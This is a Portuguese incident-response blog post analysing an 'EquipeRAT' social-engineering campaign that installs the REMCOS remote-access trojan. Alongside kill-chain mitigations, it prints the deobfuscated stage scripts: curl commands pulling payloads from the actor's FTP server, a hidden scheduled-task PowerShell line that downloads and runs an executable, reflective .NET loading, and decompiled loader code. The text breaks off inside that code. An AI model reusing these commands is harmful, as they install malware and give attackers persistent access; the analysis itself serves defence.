            <content:encoded><![CDATA[<h3>Introdução</h3><p>Foi identificado pelo time de Resposta à Incidentes da Stone Co., uma campanha de engenharia social que mirava a instalação de uma cadeia de malwares nas máquinas alvo, e com base nestes malwares, realizamos um estudo sobre seu funcionamento, apresentamos os detalhes da análise ao longo deste documento. O ator foi identificado como “<a href="https://m.facebook.com/groups/EquipeRAT/">EquipeRAT</a>”.</p><p>Desenvolvemos a seguinte linha do tempo deste <em>sample </em>a fim de demonstrar a cadeia dos processos executados pelo malware:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/1*ob6K1UY7uCLnD_AcXKHRxQ.png" /></figure><h3>Cyber Kill Chain</h3><p>Utilizaremos o modelo de Cyber Kill Chain para descrever a cadeia de execuções e modelos de mitigações que podem ser tomados para prevenir o impacto.</p><h3>Reconnaissance</h3><p>Entre as campanhas identificadas, os principais alvos são funcionários de centrais de atendimentos e relacionamento com o cliente, os agentes maliciosos utilizam números públicos para realizar o contato com os operadores.</p><p>Uma vez com um alvo selecionado, os atacantes podem utilizar ferramentas de OSINT para coletar mais informações da empresa e desenvolver um ataque mais “legítimo”.</p><p><strong>Prevenção/Auditoria:</strong></p><ul><li>Conscientização dos colaboradores referente a ligações suspeitas solicitando acesso a máquina por canal de clientes.</li><li>Por mais que seja difícil identificar o ataque nesse estágio, é fundamental que o setor de telefonia possua as informações de log devidamente coletadas dos ambientes (dados como data e hora, número original da ligação, localização, atendente e etc), será mais fácil identificar o agressor, e realizar o contingenciamento de um possível ataque.</li></ul><p><strong>MITRE ATT&amp;CK:</strong> T1592.002, T1593.002</p><h3>Weaponization</h3><p>A cadeia de execução do malware consiste na combinação de pequenos scripts (vbs, wfs e powershell) combinados com o uso de .NET Assembly, onde os scripts são responsáveis por instalar persistência e decodificar um loader para o próximo estágio, e esse loader é responsável por decodificar e carregar uma implementação de process hollowing, que por sua vez, executa o agente do RAT REMCOS, já conhecido e utilizado por diversos atores.</p><p><strong>Prevenção/Auditoria:</strong></p><ul><li>Bloqueio dos indicadores de comprometimentos listados na tabela de IoCs no final do artigo;</li><li>Manter os softwares de Antivírus e EDR atualizados contra variantes do REMCOS.</li></ul><p><strong>MITRE ATT&amp;CK:</strong> T1587.001, T1588.001</p><h3>Delivery</h3><p>A principal forma de envio do malware é por uso de software de acesso remoto, como por exemplo, AnyDesk, TeamViewer, entre outros que possuem funcionalidades semelhantes.</p><p><strong>Prevenção/Auditoria:</strong></p><ul><li>Definir procedimentos de assistência remota na sua instituição, desta forma, tentativas de ataque utilizando engenharia social não terão tanta efetividade, pois os colaboradores estarão cientes dos procedimentos oficiais;</li><li>Definir software específico para ser utilizado durante qualquer acesso remoto que seja necessário por parte do suporte;</li><li>Bloquear outros softwares com essas capacidades;</li><li>Permitir somente o software homologado via lista de exclusão.</li></ul><p><strong>MITRE ATT&amp;CK:</strong> T1204, T1566.003, T1219</p><h3>Exploitation</h3><p>Durante a comunicação via telefone, o atacante tenta persuadir o operador a utilizar as ferramentas de acesso remoto para conseguir acessar a máquina e executar a cadeia de instalação do malware, usando a transferência de arquivos destas ferramentas. Outro meio comum para inicializar a cadeia de execução do malware é através de e-mails contendo planilhas (.xls ou .xlsm), anexadas como um arquivo zip com a senha, sendo esta indicada no e-mail. Neste caso, o script inicial está presente em uma macro dentro desta planilha.</p><p><strong>Prevenção/Auditoria:</strong></p><ul><li>As técnicas de engenharia social podem ser prevenidas de maneira similar a etapa de Delivery;</li><li>Já as técnicas de phishing podem ser detectadas e auditadas fazendo uso de regras customizadas de software EDR, onde estas são desenvolvidas para bloquear a criação de processo que interpretam scripts a partir dos softwares do Microsoft Office.</li></ul><p><strong>MITRE ATT&amp;CK:</strong> T1566.001, T1566.003, T1059.001, T1059.005</p><h3>Installation</h3><p>Um comando via Powershell é inserido no agendador de tarefas, de forma com que ele seja executado periodicamente, onde o mesmo tenta realizar o download de um executável e executá-lo logo em seguida. Contudo, não foi possível analisar o executável pois no momento da análise o executável não estava presente na URL indicada no script que instala a persistência, e como trata-se de um ator que está ativo, acreditamos que pode ser pelo fato de estarem atualizando o esquema de persistência utilizado pelo grupo.</p><p><strong>Prevenção/Auditoria:</strong></p><ul><li>Bloquear os indicadores de comprometimentos listados na tabela de IoCs no final do artigo.</li><li>Manter os softwares de Antivírus e EDR atualizados contra variantes do REMCOS.</li></ul><p><strong>MITRE ATT&amp;CK:</strong> T1053.005, T1059.001, T1059.005</p><h3>Command and Control</h3><p>O software utilizado é o REMCOS 3.5.1 Pro, fato que indica que o ator possui a penúltima versão do software em relação as informações no próprio <a href="https://breakingsecurity.net/remcos/changelog/">site da BreakSecurity</a>, empresa que desenvolve o REMCOS.</p><p>As capacidades do agente em questão, são listadas no próprio site dos criadores e como a versão utilizada é a pro, o C2 utilizado pelo ator contempla todas as funcionalidade do REMCOS.</p><p>No momento desta análise, o servidor identificado para receber as conexões dos hosts infectados possuia o IP 200.9.155.151.</p><p><strong>Prevenção/Auditoria:</strong> Bloquear comunicação com IP 200.9.155.151.</p><p><strong>MITRE ATT&amp;CK:</strong> T1573.002, T1571</p><h3>Actions on Objective</h3><p>Como o ator faz uso das técnicas de engenharia social e tem como objetivo instalar persistência e executar o agente do REMCOS, acreditamos que o objetivo seja de manter o acesso para possibilitar movimentação lateral na rede das empresas alvo com intuito de extrair credenciais e informações confidenciais, não somente da empresa, como também dos próprios funcionários.</p><p><strong>MITRE ATT&amp;CK:</strong> T1565.002, T1056.001,<strong> </strong>T1056.003,</p><h3>Estágio 1 (m.vbs)</h3><p>Trata-se de um script fazendo uso de técnicas de ofuscação, e também contendo inúmeras atribuições de uma string a uma variável, apenas para causar confusão, no seguinte formato:</p><pre>hack = &quot;12k4_J(@)_#*!@Y$(*!@y38912y498y3894517y23590812y3450-12390-ewfioasnjfbknsefhiajef0a9efhjq8923hr890q34897rghqfpqwefiqnefqe0f8923bfn12378ofb23fq23ofqjiwebfnqwoiufgbqf908273gh487234&quot;<br>hack = &quot;12k4_J(@)_#*!@Y$(*!@y38912y498y3894517y23590812y3450-12390-ewfioasnjfbknsefhiajef0a9efhjq8923hr890q34897rghqfpqwefiqnefqe0f8923bfn12378ofb23fq23ofqjiwebfnqwoiufgbqf908273gh487234&quot;<br>hack = &quot;12k4_J(@)_#*!@Y$(*!@y38912y498y3894517y23590812y3450-12390-ewfioasnjfbknsefhiajef0a9efhjq8923hr890q34897rghqfpqwefiqnefqe0f8923bfn12378ofb23fq23ofqjiwebfnqwoiufgbqf908273gh487234&quot;<br>....</pre><p>Ao remover essas linhas, resta somente a parte que implementa a execução do estágio inicial, como pode ser visto abaixo:</p><pre>merda = &quot;W#@JMIDO*(!@HWHUIAHWDcript.#@JMIDO*(!@HWHUIAHWDhell&quot;<br>merda = Replace(merda,&quot;#@JMIDO*(!@HWHUIAHWD&quot;,&quot;S&quot;)<br>Set a = CreateObject(merda)<br>tiago = &quot;powerJK(@#U!@*($Y&amp;@*IUWDNOAIKJWDN@#!¨@$!@YHU!@hell $dll3 = Get-Content -Path &#39;C:\WindowJK(@#U!@*($Y&amp;@*IUWDNOAIKJWDN@#!¨@$!@YHU!@\Temp\dll3.txt&#39;.ToJK(@#U!@*($Y&amp;@*IUWDNOAIKJWDN@#!¨@$!@YHU!@tring();$zhqO = $dll3;$lixo = Get-Content -Path &#39;C:\WindowJK(@#U!@*($Y&amp;@*IUWDNOAIKJWDN@#!¨@$!@YHU!@\Temp\uJK(@#U!@*($Y&amp;@*IUWDNOAIKJWDN@#!¨@$!@YHU!@er.txt&#39;.ToJK(@#U!@*($Y&amp;@*IUWDNOAIKJWDN@#!¨@$!@YHU!@tring();$rui = $lixo.Replace(&#39;#@$&#39;,&#39;A&#39;).ToJK(@#U!@*($Y&amp;@*IUWDNOAIKJWDN@#!¨@$!@YHU!@tring();[Byte[]] $rOWg = [JK(@#U!@*($Y&amp;@*IUWDNOAIKJWDN@#!¨@$!@YHU!@yJK(@#U!@*($Y&amp;@*IUWDNOAIKJWDN@#!¨@$!@YHU!@tem.Convert]::FromBaJK(@#U!@*($Y&amp;@*IUWDNOAIKJWDN@#!¨@$!@YHU!@e64JK(@#U!@*($Y&amp;@*IUWDNOAIKJWDN@#!¨@$!@YHU!@tring( $zhqO );[Reflection.AJK(@#U!@*($Y&amp;@*IUWDNOAIKJWDN@#!¨@$!@YHU!@JK(@#U!@*($Y&amp;@*IUWDNOAIKJWDN@#!¨@$!@YHU!@embly]::Load($rOWg).GetType(&#39;tiago1.ClaJK(@#U!@*($Y&amp;@*IUWDNOAIKJWDN@#!¨@$!@YHU!@JK(@#U!@*($Y&amp;@*IUWDNOAIKJWDN@#!¨@$!@YHU!@1&#39;).GetMethod(&#39;Run&#39;).Invoke($null, [object[]] ($rui))&quot;<br>tiago = Replace(tiago,&quot;JK(@#U!@*($Y&amp;@*IUWDNOAIKJWDN@#!¨@$!@YHU!@&quot;,&quot;s&quot;)<br>r1 = &quot;curl -u maJK(@awd#U!@*($Y&amp;@*IUWDNOAIKJWDN@#!¨@$!@YHU!@ue3301@equiperaJK(@awd#U!@*($Y&amp;@*IUWDNOAIKJWDN@#!¨@$!@YHU!@.online:1230123RaJK(@awd#U!@*($Y&amp;@*IUWDNOAIKJWDN@#!¨@$!@YHU!@o! -o C:\Windows\JK(@awd#U!@*($Y&amp;@*IUWDNOAIKJWDN@#!¨@$!@YHU!@emp\dll3.JK(@awd#U!@*($Y&amp;@*IUWDNOAIKJWDN@#!¨@$!@YHU!@xJK(@awd#U!@*($Y&amp;@*IUWDNOAIKJWDN@#!¨@$!@YHU!@ -O fJK(@awd#U!@*($Y&amp;@*IUWDNOAIKJWDN@#!¨@$!@YHU!@p://maJK(@awd#U!@*($Y&amp;@*IUWDNOAIKJWDN@#!¨@$!@YHU!@ue3301%2540equiperaJK(@awd#U!@*($Y&amp;@*IUWDNOAIKJWDN@#!¨@$!@YHU!@.online@fJK(@awd#U!@*($Y&amp;@*IUWDNOAIKJWDN@#!¨@$!@YHU!@p.equiperaJK(@awd#U!@*($Y&amp;@*IUWDNOAIKJWDN@#!¨@$!@YHU!@.online/dll3.JK(@awd#U!@*($Y&amp;@*IUWDNOAIKJWDN@#!¨@$!@YHU!@xJK(@awd#U!@*($Y&amp;@*IUWDNOAIKJWDN@#!¨@$!@YHU!@&quot;<br>r1 = Replace(r1,&quot;JK(@awd#U!@*($Y&amp;@*IUWDNOAIKJWDN@#!¨@$!@YHU!@&quot;,&quot;t&quot;)<br>r2 = &quot;curl -u maJK(@awd1#U!@*($Y&amp;@*IUWDNOAIKJWDN@#!¨@$!@YHU!@ue3301@equiperaJK(@awd1#U!@*($Y&amp;@*IUWDNOAIKJWDN@#!¨@$!@YHU!@.online:1230123RaJK(@awd1#U!@*($Y&amp;@*IUWDNOAIKJWDN@#!¨@$!@YHU!@o! -o C:\Windows\JK(@awd1#U!@*($Y&amp;@*IUWDNOAIKJWDN@#!¨@$!@YHU!@emp\rump.JK(@awd1#U!@*($Y&amp;@*IUWDNOAIKJWDN@#!¨@$!@YHU!@xJK(@awd1#U!@*($Y&amp;@*IUWDNOAIKJWDN@#!¨@$!@YHU!@ -O fJK(@awd1#U!@*($Y&amp;@*IUWDNOAIKJWDN@#!¨@$!@YHU!@p://maJK(@awd1#U!@*($Y&amp;@*IUWDNOAIKJWDN@#!¨@$!@YHU!@ue3301%2540equiperaJK(@awd1#U!@*($Y&amp;@*IUWDNOAIKJWDN@#!¨@$!@YHU!@.online@fJK(@awd1#U!@*($Y&amp;@*IUWDNOAIKJWDN@#!¨@$!@YHU!@p.equiperaJK(@awd1#U!@*($Y&amp;@*IUWDNOAIKJWDN@#!¨@$!@YHU!@.online/rump.JK(@awd1#U!@*($Y&amp;@*IUWDNOAIKJWDN@#!¨@$!@YHU!@xJK(@awd1#U!@*($Y&amp;@*IUWDNOAIKJWDN@#!¨@$!@YHU!@&quot;<br>r2 = Replace(r2,&quot;JK(@awd1#U!@*($Y&amp;@*IUWDNOAIKJWDN@#!¨@$!@YHU!@&quot;,&quot;t&quot;)<br>r3 = &quot;curl -u maJK(@awd13#U!@*($Y&amp;@*IUWDNOAIKJWDN@#!¨@$!@YHU!@ue3301@equiperaJK(@awd13#U!@*($Y&amp;@*IUWDNOAIKJWDN@#!¨@$!@YHU!@.online:1230123RaJK(@awd13#U!@*($Y&amp;@*IUWDNOAIKJWDN@#!¨@$!@YHU!@o! -o C:\Windows\JK(@awd13#U!@*($Y&amp;@*IUWDNOAIKJWDN@#!¨@$!@YHU!@emp\user.JK(@awd13#U!@*($Y&amp;@*IUWDNOAIKJWDN@#!¨@$!@YHU!@xJK(@awd13#U!@*($Y&amp;@*IUWDNOAIKJWDN@#!¨@$!@YHU!@ -O fJK(@awd13#U!@*($Y&amp;@*IUWDNOAIKJWDN@#!¨@$!@YHU!@p://maJK(@awd13#U!@*($Y&amp;@*IUWDNOAIKJWDN@#!¨@$!@YHU!@ue3301%2540equiperaJK(@awd13#U!@*($Y&amp;@*IUWDNOAIKJWDN@#!¨@$!@YHU!@.online@fJK(@awd13#U!@*($Y&amp;@*IUWDNOAIKJWDN@#!¨@$!@YHU!@p.equiperaJK(@awd13#U!@*($Y&amp;@*IUWDNOAIKJWDN@#!¨@$!@YHU!@.online/user.JK(@awd13#U!@*($Y&amp;@*IUWDNOAIKJWDN@#!¨@$!@YHU!@xJK(@awd13#U!@*($Y&amp;@*IUWDNOAIKJWDN@#!¨@$!@YHU!@&quot;<br>r3 = Replace(r3,&quot;JK(@awd13#U!@*($Y&amp;@*IUWDNOAIKJWDN@#!¨@$!@YHU!@&quot;,&quot;t&quot;)<br>r4 = &quot;curl -u maJK(@awd13#U!@*($Y&amp;@*IUWDNOAIKJWDN@#!¨@$!@YHU!@ue3301@equiperaJK(@awd13#U!@*($Y&amp;@*IUWDNOAIKJWDN@#!¨@$!@YHU!@.online:1230123RaJK(@awd13#U!@*($Y&amp;@*IUWDNOAIKJWDN@#!¨@$!@YHU!@o! -o C:\Windows\JK(@awd13#U!@*($Y&amp;@*IUWDNOAIKJWDN@#!¨@$!@YHU!@emp\p.wsf -O fJK(@awd13#U!@*($Y&amp;@*IUWDNOAIKJWDN@#!¨@$!@YHU!@p://maJK(@awd13#U!@*($Y&amp;@*IUWDNOAIKJWDN@#!¨@$!@YHU!@ue3301%2540equiperaJK(@awd13#U!@*($Y&amp;@*IUWDNOAIKJWDN@#!¨@$!@YHU!@.online@fJK(@awd13#U!@*($Y&amp;@*IUWDNOAIKJWDN@#!¨@$!@YHU!@p.equiperaJK(@awd13#U!@*($Y&amp;@*IUWDNOAIKJWDN@#!¨@$!@YHU!@.online/p.wsf&quot;<br>r4 = Replace(r4,&quot;JK(@awd13#U!@*($Y&amp;@*IUWDNOAIKJWDN@#!¨@$!@YHU!@&quot;,&quot;t&quot;)<br>r5 = &quot;C:\WindowJK(@awd13#U!@*($Y&amp;@*IUWDNOAIKJWDN@#!¨@$!@YHU!@\Temp\p.wJK(@awd13#U!@*($Y&amp;@*IUWDNOAIKJWDN@#!¨@$!@YHU!@f&quot;<br>r5 = Replace(r5, &quot;JK(@awd13#U!@*($Y&amp;@*IUWDNOAIKJWDN@#!¨@$!@YHU!@&quot;, &quot;s&quot;)<br>a.Run(r1),false<br>a.Run(r2),false<br>a.Run(r3),false<br>a.Run(r4),false<br>WScript.Sleep(7000)<br>a.Run(r5),false<br>a.Run(tiago),false</pre><p>Como vimos, o código instância um objeto do tipo <strong>WScript.Shell </strong>para obter acesso ao método Run(), em seguida ele decodifica algumas strings as quais serão passadas para o método Run(). Nessa etapa, optamos por alterar o código comentando a execução e adicionando output para verificar os valores das variáveis r1-r5 simplesmente executando o script, segue o código alterado:</p><pre>&#39;a.Run(r1),false<br>WScript.stdout.write(r1 &amp; vbCrLf)<br>&#39;a.Run(r2),false<br>WScript.stdout.write(r2 &amp; vbCrLf)<br>&#39;a.Run(r3),false<br>WScript.stdout.write(r3 &amp; vbCrLf)<br>&#39;a.Run(r4),false<br>WScript.stdout.write(r4 &amp; vbCrLf)<br>WScript.Sleep(7000)<br>&#39;a.Run(r5),false<br>WScript.stdout.write(r5 &amp; vbCrLf)<br>&#39;a.Run(tiago),false<br>WScript.stdout.write(tiago &amp; vbCrLf)</pre><p>A partir da execução do código obtivemos como saída:</p><pre>curl -u matue3301@equiperat.online:********** -o C:\Windows\temp\dll3.txt -O ftp://matue3301%2540equiperat.online@ftp.equiperat.online/dll3.txt<br>curl -u matue3301@equiperat.online:********** -o C:\Windows\temp\rump.txt -O ftp://matue3301%2540equiperat.online@ftp.equiperat.online/rump.txt<br>curl -u matue3301@equiperat.online:********** -o C:\Windows\temp\user.txt -O ftp://matue3301%2540equiperat.online@ftp.equiperat.online/user.txt<br>curl -u matue3301@equiperat.online:********** -o C:\Windows\temp\1.wsf -O ftp://matue3301%2540equiperat.online@ftp.equiperat.online/p.wsf<br>C:\Windows\Temp\1.wsf<br>powershell $dll3 = Get-Content -Path &#39;C:\Windows\Temp\dll3.txt&#39;.Tostring();$zhqO = $dll3;$lixo = Get-Content -Path &#39;C:\Windows\Temp\user.txt&#39;.Tostring();$rui = $lixo.Replace(&#39;#@$&#39;,&#39;A&#39;).Tostring();[Byte[]] $rOWg = [system.Convert]::FromBase64string( $zhqO );[Reflection.Assembly]::Load($rOWg).GetType(&#39;tiago1.Class1&#39;).GetMethod(&#39;Run&#39;).Invoke($null, [object[]] ($rui))</pre><p>Portanto, o estágio inicial é responsável por fazer download de 4 arquivos sendo eles <strong>dll3,txt</strong>, <strong>rump.txt</strong>, <strong>user.txt</strong> e <strong>1.wsf</strong>, todos no destino <strong>C:\windows\temp\</strong>, todos os arquivos são obtidos a partir de um mesmo servidor FTP usando as credenciais hardcoded no primeiro script, passaremos agora para a análise dos próximos estágios, que são desencadeados a partir do script inicial em suas duas últimas linhas.</p><h3>Persistência (1.wfs)</h3><p>O arquivo, assim como o outro, contém múltiplas linhas de caracteres que não são utilizados, talvez com o intuito de atrapalhar algum tipo de analise estática, todas como no seguinte formato:</p><pre>:::::::::::::::::::::::::::::::::::::::::::::::<br>:::::::::::::::::::::::::::::::::::::::::::::::<br>:::::::::::::::::::::::::::::::::::::::::::::::<br>...</pre><p>Ao remover as linhas que não são utilizadas, resta somente a implementação do que de fato é interessante para a análise:</p><pre>&lt;job id=&quot;VBScriptJob&quot;&gt;&lt;script language=&quot;VBScript&quot;&gt;<br>	const impersonation = 3<br>	Const HIDDEN_WINDOW = 0<br>	Dim macaco<br>	Dim uri1<br>	Dim locator1<br>	Dim MICROSOFT1<br>	Dim objStartup1<br>	uri1 = &quot;&#39;https://contadoreshbc.com/exe&#39;&quot;<br>	locator1 = &quot;Wb.ó{-@ö´ö{-(%(´óú??+*-*õðöö*\$öö?(*@*.{ø**{.ö$@õ[ð[mScripting.SWb.ó{-@ö´ö{-(%(´óú??+*-*õðöö*\$öö?(*@*.{ø**{.ö$@õ[ð[mLocator&quot;<br>	locator1 = Replace(locator1,&quot;.ó{-@ö´ö{-(%(´óú??+*-*õðöö*\$öö?(*@*.{ø**{.ö$@õ[ð[&quot;,&quot;e&quot;)<br>	objStartup1 = &quot;Win32_Proce%_õ´]{´×={@-?--*.4´{{+{{*ø(ú.%?õ?_ö{}}$]({$(./ð¨}õ%_õ´]{´×={@-?--*.4´{{+{{*ø(ú.%?õ?_ö{}}$]({$(./ð¨}õ%_õ´]{´×={@-?--*.4´{{+{{*ø(ú.%?õ?_ö{}}$]({$(./ð¨}õtartup&quot;<br>	objStartup1 = Replace(objStartup1,&quot;%_õ´]{´×={@-?--*.4´{{+{{*ø(ú.%?õ?_ö{}}$]({$(./ð¨}õ&quot;,&quot;s&quot;)<br>	MICROSOFT1 = &quot;W/=./}%%%{]ø?ø--+&amp;´+ö.#]+[[`õ?(#;{×/¨{/.×*?ö](*{4¨¨/4+ú_\:.ö[ó?ö*={ú.+%-:}]?ö*:;{%\×ö*;*#`_[`*}ø.+?%}n32_Process&quot;<br>	MICROSOFT1 = Replace(MICROSOFT1,&quot;/=./}%%%{]ø?ø--+&amp;´+ö.#]+[[`õ?(#;{×/¨{/.×*?ö](*{4¨¨/4+ú_\:.ö[ó?ö*={ú.+%-:}]?ö*:;{%\×ö*;*#`_[`*}ø.+?%}&quot;,&quot;i&quot;)<br>	Set Locator = CreateObject(locator1)<br>	Set Service = Locator.ConnectServer()<br>	Service.Security_.ImpersonationLevel=impersonation<br>	Set objStartup = Service.Get(objStartup1)<br>	Set objConfig = objStartup.SpawnInstance_<br>	Set MICROSOFT = Service.Get(MICROSOFT1)<br>	macaco = &quot;×%#ö-}\//}¨/}*+{+-[[\ö4*}-{*ö?*[_]\õ_ö`{¨.\/.õ%-?\-]ð:{\]-/%-/õ*.ö-/´.×;õú?.+.?öõ-/}¨/2ö+´}@@ö×ø/.;óchta×%#ö-}\//}¨/}*+{+-[[\ö4*}-{*ö?*[_]\õ_ö`{¨.\/.õ%-?\-]ð:{\]-/%-/õ*.ö-/´.×;õú?.+.?öõ-/}¨/2ö+´}@@ö×ø/.;ók×%#ö-}\//}¨/}*+{+-[[\ö4*}-{*ö?*[_]\õ_ö`{¨.\/.õ%-?\-]ð:{\]-/%-/õ*.ö-/´.×;õú?.+.?öõ-/}¨/2ö+´}@@ö×ø/.;ó /create /×%#ö-}\//}¨/}*+{+-[[\ö4*}-{*ö?*[_]\õ_ö`{¨.\/.õ%-?\-]ð:{\]-/%-/õ*.ö-/´.×;õú?.+.?öõ-/}¨/2ö+´}@@ö×ø/.;óc MINUTE /mo 60 /tn &quot;&quot;OneDrive Reporting Ta×%#ö-}\//}¨/}*+{+-[[\ö4*}-{*ö?*[_]\õ_ö`{¨.\/.õ%-?\-]ð:{\]-/%-/õ*.ö-/´.×;õú?.+.?öõ-/}¨/2ö+´}@@ö×ø/.;ó&quot;&quot; /tr &quot;&quot;\&quot;&quot;%windir%\×%#ö-}\//}¨/}*+{+-[[\ö4*}-{*ö?*[_]\õ_ö`{¨.\/.õ%-?\-]ð:{\]-/%-/õ*.ö-/´.×;õú?.+.?öõ-/}¨/2ö+´}@@ö×ø/.;óy×%#ö-}\//}¨/}*+{+-[[\ö4*}-{*ö?*[_]\õ_ö`{¨.\/.õ%-?\-]ð:{\]-/%-/õ*.ö-/´.×;õú?.+.?öõ-/}¨/2ö+´}@@ö×ø/.;ótem32\Window×%#ö-}\//}¨/}*+{+-[[\ö4*}-{*ö?*[_]\õ_ö`{¨.\/.õ%-?\-]ð:{\]-/%-/õ*.ö-/´.×;õú?.+.?öõ-/}¨/2ö+´}@@ö×ø/.;óPower×%#ö-}\//}¨/}*+{+-[[\ö4*}-{*ö?*[_]\õ_ö`{¨.\/.õ%-?\-]ð:{\]-/%-/õ*.ö-/´.×;õú?.+.?öõ-/}¨/2ö+´}@@ö×ø/.;óhell\v1.0\power×%#ö-}\//}¨/}*+{+-[[\ö4*}-{*ö?*[_]\õ_ö`{¨.\/.õ%-?\-]ð:{\]-/%-/õ*.ö-/´.×;õú?.+.?öõ-/}¨/2ö+´}@@ö×ø/.;óhell.exe\&quot;&quot; -Window×%#ö-}\//}¨/}*+{+-[[\ö4*}-{*ö?*[_]\õ_ö`{¨.\/.õ%-?\-]ð:{\]-/%-/õ*.ö-/´.×;õú?.+.?öõ-/}¨/2ö+´}@@ö×ø/.;ótyle Hidden $a = wget &quot;+uri1+&quot; -o C:\Window×%#ö-}\//}¨/}*+{+-[[\ö4*}-{*ö?*[_]\õ_ö`{¨.\/.õ%-?\-]ð:{\]-/%-/õ*.ö-/´.×;õú?.+.?öõ-/}¨/2ö+´}@@ö×ø/.;ó\Temp\t.exe;×%#ö-}\//}¨/}*+{+-[[\ö4*}-{*ö?*[_]\õ_ö`{¨.\/.õ%-?\-]ð:{\]-/%-/õ*.ö-/´.×;õú?.+.?öõ-/}¨/2ö+´}@@ö×ø/.;ótart-×%#ö-}\//}¨/}*+{+-[[\ö4*}-{*ö?*[_]\õ_ö`{¨.\/.õ%-?\-]ð:{\]-/%-/õ*.ö-/´.×;õú?.+.?öõ-/}¨/2ö+´}@@ö×ø/.;óleep 60;×%#ö-}\//}¨/}*+{+-[[\ö4*}-{*ö?*[_]\õ_ö`{¨.\/.õ%-?\-]ð:{\]-/%-/õ*.ö-/´.×;õú?.+.?öõ-/}¨/2ö+´}@@ö×ø/.;ótart-Proce×%#ö-}\//}¨/}*+{+-[[\ö4*}-{*ö?*[_]\õ_ö`{¨.\/.õ%-?\-]ð:{\]-/%-/õ*.ö-/´.×;õú?.+.?öõ-/}¨/2ö+´}@@ö×ø/.;ó×%#ö-}\//}¨/}*+{+-[[\ö4*}-{*ö?*[_]\õ_ö`{¨.\/.õ%-?\-]ð:{\]-/%-/õ*.ö-/´.×;õú?.+.?öõ-/}¨/2ö+´}@@ö×ø/.;ó C:\Window×%#ö-}\//}¨/}*+{+-[[\ö4*}-{*ö?*[_]\õ_ö`{¨.\/.õ%-?\-]ð:{\]-/%-/õ*.ö-/´.×;õú?.+.?öõ-/}¨/2ö+´}@@ö×ø/.;ó\Temp\t.exe&quot;&quot; /F&quot;<br>	macaco = Replace(macaco,&quot;×%#ö-}\//}¨/}*+{+-[[\ö4*}-{*ö?*[_]\õ_ö`{¨.\/.õ%-?\-]ð:{\]-/%-/õ*.ö-/´.×;õú?.+.?öõ-/}¨/2ö+´}@@ö×ø/.;ó&quot;,&quot;s&quot;)<br>Error = MICROSOFT.Create(macaco, null, objConfig, intProcessID,  0, false)<br>&lt;/script&gt;&lt;/job&gt;</pre><p>A seguir, estamos editando o final do script onde o método Create() é chamado, e inserindo output das variáveis utilizadas, da seguinte maneira:</p><pre>WScript.stdout.write(objStartup1 &amp; vbCrLf)<br>WScript.stdout.write(MICROSOFT1 &amp; vbCrLf)<br>WScript.stdout.write(macaco &amp; vbCrLf)<br>&#39;Error = MICROSOFT.Create(macaco, null, objConfig, intProcessID,  0, false)</pre><p>Ao executar o script obtivemos como output o seguinte resultado:</p><pre>Win32_Processstartup<br>Win32_Process<br>schtasks /create /sc MINUTE /mo 60 /tn &quot;OneDrive Reporting Tas&quot; /tr &quot;\&quot;%windir%\system32\WindowsPowershell\v1.0\powershell.exe\&quot; -Windowstyle Hidden $a = wget &#39;https://contadoreshbc.com/exe&#39; -o C:\Windows\Temp\t.exe;start-sleep 60;start-Process C:\Windows\Temp\t.exe&quot; /F</pre><p>Portanto sabemos que o script <strong>1.wfs</strong> é usado apenas para instalar a persistência, utilizando assim o agendador de tarefas, com intuito de programar a execução deste comando, que realizará o download de um executável a partir da url <a href="https://contadoreshbc.com/exe"><strong>https://contadoreshbc.com/exe</strong></a>, com destino para o diretório <strong>C:\windows\temp\1.exe</strong>, e o executa após 60 segundos.</p><h3>Estágio 2 (dll3.txt)</h3><p>Como vimos no <strong>Estágio 1</strong>, após a execução do script <strong>1.wfs</strong>, a última ação realizada foi o acionamento do Powershell contendo todo o código necessário em uma string. Reorganizando este código, temos o seguinte resultado:</p><pre>$dll3 = Get-Content -Path &#39;C:\Windows\Temp\dll3.txt&#39;.Tostring();<br>$zhqO = $dll3;<br>$lixo = Get-Content -Path &#39;C:\Windows\Temp\user.txt&#39;.Tostring();<br>$rui = $lixo.Replace(&#39;#@$&#39;,&#39;A&#39;).Tostring();<br>[Byte[]] $rOWg = [system.Convert]::FromBase64string( $zhqO );<br>[Reflection.Assembly]::Load($rOWg).GetType(&#39;tiago1.Class1&#39;).GetMethod(&#39;Run&#39;).Invoke($null, [object[]] ($rui))</pre><p>Podemos observar que o arquivo <strong>dll3.txt </strong>trata-se de um .NET Assembly encodado em base64, e o script está decodificando-o, carregando na memória, e então executando o método <strong>tiago1.Class1.Run()</strong>,<strong> </strong>passando como parâmetro o conteúdo do arquivo <strong>user.txt </strong>após substituir todas ocorrências de <em>‘#@$’</em> por <em>‘A’</em>, substituição essa que foi feita previamente como técnica de ofuscação.</p><p>Decodificando o arquivo e verificando seu tipo, podemos confirmar isso rapidamente:</p><pre>$ base64 -d dll3.txt tiago1.dll<br>    $ file tiago1.dll <br>    tiago1.dll: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows</pre><p>Para observarmos o código que implementa a função chamada, nós iremos utilizar a ferramenta <a href="https://www.jetbrains.com/decompiler/">dotPeek</a>, onde iremos carregar o arquivo tiago1.dll já decodificado, exatamente como ele é carregado pelo código em Powershell exibido previamente. O resultado da decompilação foi o seguinte:</p><pre>namespace tiago1<br>{<br>  public class Class1<br>  {<br>    public static void Run(string LAbWJK)<br>    {<br>      try<br>      {<br>        string s = MyProject.Computer.FileSystem.ReadAllText(Encoding.UTF8.GetString(Convert.FromBase64String(&quot;QzpcV2luZG93c1xUZW1wXHJ1bXAudHh0&quot;))).Replace(Encoding.UTF8.GetString(Convert.FromBase64String(&quot;I0Ak&quot;)), Encoding.UTF8.GetString(Convert.FromBase64String(&quot;QQ==&quot;)));<br>        string str1 = Encoding.UTF8.GetString(Convert.FromBase64String(&quot;QzpcV2luZG93c1xNaWNyb3NvZnQuTkVUXEZyYW1ld29yaw==&quot;)) + Encoding.UTF8.GetString(Convert.FromBase64String(&quot;XHY0LjAuMzAzMTk=&quot;));<br>        string str2 = Encoding.UTF8.GetString(Convert.FromBase64String(&quot;XFJlZ0FzbS5leGU=&quot;));<br>        AppDomain.CurrentDomain.Load(Convert.FromBase64String(s)).GetType(Encoding.UTF8.GetString(Convert.FromBase64String(&quot;dGlhZ28uQ2xhc3Mx&quot;))).GetMethod(Encoding.UTF8.GetString(Convert.FromBase64String(&quot;UnVu&quot;))).Invoke((object) null, new object[2]<br>        {<br>          (object) (str1 + str2),<br>          (object) Convert.FromBase64String(LAbWJK)<br>        });<br>      }<br>      catch (Exception ex)<br>      {<br>        